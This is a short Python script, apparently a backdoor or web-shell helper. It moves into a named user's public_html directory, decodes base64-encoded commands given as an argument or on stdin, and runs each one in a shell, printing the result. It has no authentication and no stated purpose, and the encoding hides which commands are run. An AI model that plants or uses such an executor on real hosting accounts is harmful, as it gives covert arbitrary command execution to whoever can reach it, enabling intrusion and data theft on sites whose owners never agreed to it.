#!/usr/bin/env python3
import subprocess, sys, base64, os
os.chdir('/home/novafran/public_html')
if len(sys.argv) > 1:
    cmd = base64.b64decode(sys.argv[1]).decode()
    print(subprocess.getoutput(cmd))
else:
    for line in sys.stdin:
        cmd = base64.b64decode(line.strip()).decode()
        print(subprocess.getoutput(cmd))